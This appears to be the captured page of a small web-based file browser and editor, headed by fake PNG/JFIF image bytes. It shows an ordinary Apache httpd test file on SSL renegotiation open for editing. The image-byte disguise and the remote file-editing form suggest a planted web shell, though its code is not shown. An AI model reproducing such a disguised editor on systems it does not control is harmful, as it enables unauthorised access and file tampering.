�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2F'>httpd-2.4.63</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2F'>test</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2Fmodules%2F'>modules</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2Fmodules%2Fhttp2%2F'>http2</a>/</p><hr><h3>✏️ Editing: test_101_ssl_reneg.py</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>import re
import pytest

from .env import H2Conf, H2TestEnv


@pytest.mark.skipif(condition=H2TestEnv.is_unsupported, reason=&quot;mod_http2 not supported here&quot;)
@pytest.mark.skipif(H2TestEnv.get_ssl_module() != &quot;mod_ssl&quot;, reason=&quot;only for mod_ssl&quot;)
class TestSslRenegotiation:

    @pytest.fixture(autouse=True, scope=&#039;class&#039;)
    def _class_scope(self, env):
        domain = f&quot;ssl.{env.http_tld}&quot;
        conf = H2Conf(env, extras={
            &#039;base&#039;: [
                &quot;SSLCipherSuite ECDHE-RSA-AES256-GCM-SHA384&quot;,
                f&quot;&lt;Directory \&quot;{env.server_dir}/htdocs/ssl-client-verify\&quot;&gt;&quot;,
                &quot;    Require all granted&quot;,
                &quot;    SSLVerifyClient require&quot;,
                &quot;    SSLVerifyDepth 0&quot;,
                &quot;&lt;/Directory&gt;&quot;
            ],
            domain: [
                &quot;Protocols h2 http/1.1&quot;,
                &quot;&lt;Location /renegotiate/cipher&gt;&quot;,
                &quot;    SSLCipherSuite ECDHE-RSA-CHACHA20-POLY1305&quot;,
                &quot;&lt;/Location&gt;&quot;,
                &quot;&lt;Location /renegotiate/err-doc-cipher&gt;&quot;,
                &quot;    SSLCipherSuite ECDHE-RSA-CHACHA20-POLY1305&quot;,
                &quot;    ErrorDocument 403 /forbidden.html&quot;,
                &quot;&lt;/Location&gt;&quot;,
                &quot;&lt;Location /renegotiate/verify&gt;&quot;,
                &quot;    SSLVerifyClient require&quot;,
                &quot;&lt;/Location&gt;&quot;,
                f&quot;&lt;Directory \&quot;{env.server_dir}/htdocs/sslrequire\&quot;&gt;&quot;,
                &quot;    SSLRequireSSL&quot;,
                &quot;&lt;/Directory&gt;&quot;,
                f&quot;&lt;Directory \&quot;{env.server_dir}/htdocs/requiressl\&quot;&gt;&quot;,
                &quot;    Require ssl&quot;,
                &quot;&lt;/Directory&gt;&quot;,
        ]})
        conf.add_vhost(domains=[domain], port=env.https_port,
                       doc_root=f&quot;{env.server_dir}/htdocs&quot;)
        conf.install()
        # the dir needs to exists for the configuration to have effect
        env.mkpath(&quot;%s/htdocs/ssl-client-verify&quot; % env.server_dir)
        env.mkpath(&quot;%s/htdocs/renegotiate/cipher&quot; % env.server_dir)
        env.mkpath(&quot;%s/htdocs/sslrequire&quot; % env.server_dir)
        env.mkpath(&quot;%s/htdocs/requiressl&quot; % env.server_dir)
        assert env.apache_restart() == 0

    # access a resource with SSL renegotiation, using HTTP/1.1
    def test_h2_101_01(self, env):
        url = env.mkurl(&quot;https&quot;, &quot;ssl&quot;, &quot;/renegotiate/cipher/&quot;)
        r = env.curl_get(url, options=[&quot;-v&quot;, &quot;--http1.1&quot;, &quot;--tlsv1.2&quot;, &quot;--tls-max&quot;, &quot;1.2&quot;])
        assert 0 == r.exit_code, f&quot;{r}&quot;
        assert r.response
        assert 403 == r.response[&quot;status&quot;]
        #
        env.httpd_error_log.ignore_recent(
            lognos = [
                &quot;AH01276&quot; # No matching DirectoryIndex found
            ]
        )
        
    # try to renegotiate the cipher, should fail with correct code
    def test_h2_101_02(self, env):
        if not (env.curl_is_at_least(&#039;8.2.0&#039;) or env.curl_is_less_than(&#039;8.1.0&#039;)):
            pytest.skip(&quot;need curl != 8.1.x version&quot;)
        url = env.mkurl(&quot;https&quot;, &quot;ssl&quot;, &quot;/renegotiate/cipher/&quot;)
        r = env.curl_get(url, options=[
            &quot;-vvv&quot;, &quot;--tlsv1.2&quot;, &quot;--tls-max&quot;, &quot;1.2&quot;, &quot;--ciphers&quot;, &quot;ECDHE-RSA-AES256-GCM-SHA384&quot;
        ])
        assert 0 != r.exit_code
        assert not r.response
        assert re.search(r&#039;HTTP_1_1_REQUIRED \(err 13\)&#039;, r.stderr)
        #
        env.httpd_error_log.ignore_recent(
            lognos = [
                &quot;AH02261&quot;   # Re-negotiation handshake failed
            ],
            matches = [
                r&#039;.*:tls_post_process_client_hello:.*&#039;,
                r&#039;.*SSL Library Error:.*:SSL routines::no shared cipher.*&#039;
            ]
        )
        
    # try to renegotiate a client certificate from Location 
    # needs to fail with correct code
    def test_h2_101_03(self, env):
        if not (env.curl_is_at_least(&#039;8.2.0&#039;) or env.curl_is_less_than(&#039;8.1.0&#039;)):
            pytest.skip(&quot;need curl != 8.1.x version&quot;)
        url = env.mkurl(&quot;https&quot;, &quot;ssl&quot;, &quot;/renegotiate/verify/&quot;)
        r = env.curl_get(url, options=[&quot;-vvv&quot;, &quot;--tlsv1.2&quot;, &quot;--tls-max&quot;, &quot;1.2&quot;])
        assert 0 != r.exit_code
        assert not r.response
        assert re.search(r&#039;HTTP_1_1_REQUIRED \(err 13\)&#039;, r.stderr)
        #
        env.httpd_error_log.ignore_recent(
            lognos = [
                &quot;AH02261&quot;   # Re-negotiation handshake failed
            ],
            matches = [
                r&#039;.*:tls_process_client_certificate:.*&#039;,
                r&#039;.*SSL Library Error:.*:SSL routines::peer did not return a certificate.*&#039;
            ]
        )
        
    # try to renegotiate a client certificate from Directory 
    # needs to fail with correct code
    def test_h2_101_04(self, env):
        if not (env.curl_is_at_least(&#039;8.2.0&#039;) or env.curl_is_less_than(&#039;8.1.0&#039;)):
            pytest.skip(&quot;need curl != 8.1.x version&quot;)
        url = env.mkurl(&quot;https&quot;, &quot;ssl&quot;, &quot;/ssl-client-verify/index.html&quot;)
        r = env.curl_get(url, options=[&quot;-vvv&quot;, &quot;--tlsv1.2&quot;, &quot;--tls-max&quot;, &quot;1.2&quot;])
        assert 0 != r.exit_code, f&quot;{r}&quot;
        assert not r.response
        assert re.search(r&#039;HTTP_1_1_REQUIRED \(err 13\)&#039;, r.stderr)
        #
        env.httpd_error_log.ignore_recent(
            lognos = [
                &quot;AH02261&quot;   # Re-negotiation handshake failed
            ],
            matches = [
                r&#039;.*:tls_process_client_certificate:.*&#039;,
                r&#039;.*SSL Library Error:.*:SSL routines::peer did not return a certificate.*&#039;
            ]
        )
        
    # make 10 requests on the same connection, none should produce a status code
    # reported by erki@example.ee
    def test_h2_101_05(self, env):
        r = env.run([env.h2load, &quot;-n&quot;, &quot;10&quot;, &quot;-c&quot;, &quot;1&quot;, &quot;-m&quot;, &quot;1&quot;, &quot;-vvvv&quot;,
                     f&quot;{env.https_base_url}/ssl-client-verify/index.html&quot;])
        assert 0 == r.exit_code
        r = env.h2load_status(r)
        assert 10 == r.results[&quot;h2load&quot;][&quot;requests&quot;][&quot;total&quot;]
        assert 10 == r.results[&quot;h2load&quot;][&quot;requests&quot;][&quot;started&quot;]
        assert 10 == r.results[&quot;h2load&quot;][&quot;requests&quot;][&quot;done&quot;]
        assert 0 == r.results[&quot;h2load&quot;][&quot;requests&quot;][&quot;succeeded&quot;]
        assert 0 == r.results[&quot;h2load&quot;][&quot;status&quot;][&quot;2xx&quot;]
        assert 0 == r.results[&quot;h2load&quot;][&quot;status&quot;][&quot;3xx&quot;]
        assert 0 == r.results[&quot;h2load&quot;][&quot;status&quot;][&quot;4xx&quot;]
        assert 0 == r.results[&quot;h2load&quot;][&quot;status&quot;][&quot;5xx&quot;]

    # Check that &quot;SSLRequireSSL&quot; works on h2 connections
    # See &lt;https://bz.apache.org/bugzilla/show_bug.cgi?id=62654&gt;
    def test_h2_101_10a(self, env):
        url = env.mkurl(&quot;https&quot;, &quot;ssl&quot;, &quot;/sslrequire/index.html&quot;)
        r = env.curl_get(url)
        assert 0 == r.exit_code
        assert r.response
        assert 404 == r.response[&quot;status&quot;]

    # Check that &quot;require ssl&quot; works on h2 connections
    # See &lt;https://bz.apache.org/bugzilla/show_bug.cgi?id=62654&gt;
    def test_h2_101_10b(self, env):
        url = env.mkurl(&quot;https&quot;, &quot;ssl&quot;, &quot;/requiressl/index.html&quot;)
        r = env.curl_get(url)
        assert 0 == r.exit_code
        assert r.response
        assert 404 == r.response[&quot;status&quot;]
        
    # Check that status works with ErrorDoc, see pull #174, fixes #172
    def test_h2_101_11(self, env):
        if not (env.curl_is_at_least(&#039;8.2.0&#039;) or env.curl_is_less_than(&#039;8.1.0&#039;)):
            pytest.skip(&quot;need curl != 8.1.x version&quot;)
        url = env.mkurl(&quot;https&quot;, &quot;ssl&quot;, &quot;/renegotiate/err-doc-cipher&quot;)
        r = env.curl_get(url, options=[
            &quot;-vvv&quot;, &quot;--tlsv1.2&quot;, &quot;--tls-max&quot;, &quot;1.2&quot;, &quot;--ciphers&quot;, &quot;ECDHE-RSA-AES256-GCM-SHA384&quot;
        ])
        assert 0 != r.exit_code
        assert not r.response
        assert re.search(r&#039;HTTP_1_1_REQUIRED \(err 13\)&#039;, r.stderr)
        #
        env.httpd_error_log.ignore_recent(
            lognos = [
                &quot;AH02261&quot;   # Re-negotiation handshake failed
            ],
            matches = [
                r&#039;.*:tls_post_process_client_hello:.*&#039;,
                r&#039;.*SSL Library Error:.*:SSL routines::no shared cipher.*&#039;
            ]
        )
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2Fmodules%2Fhttp2'>🔙 Back</a></p>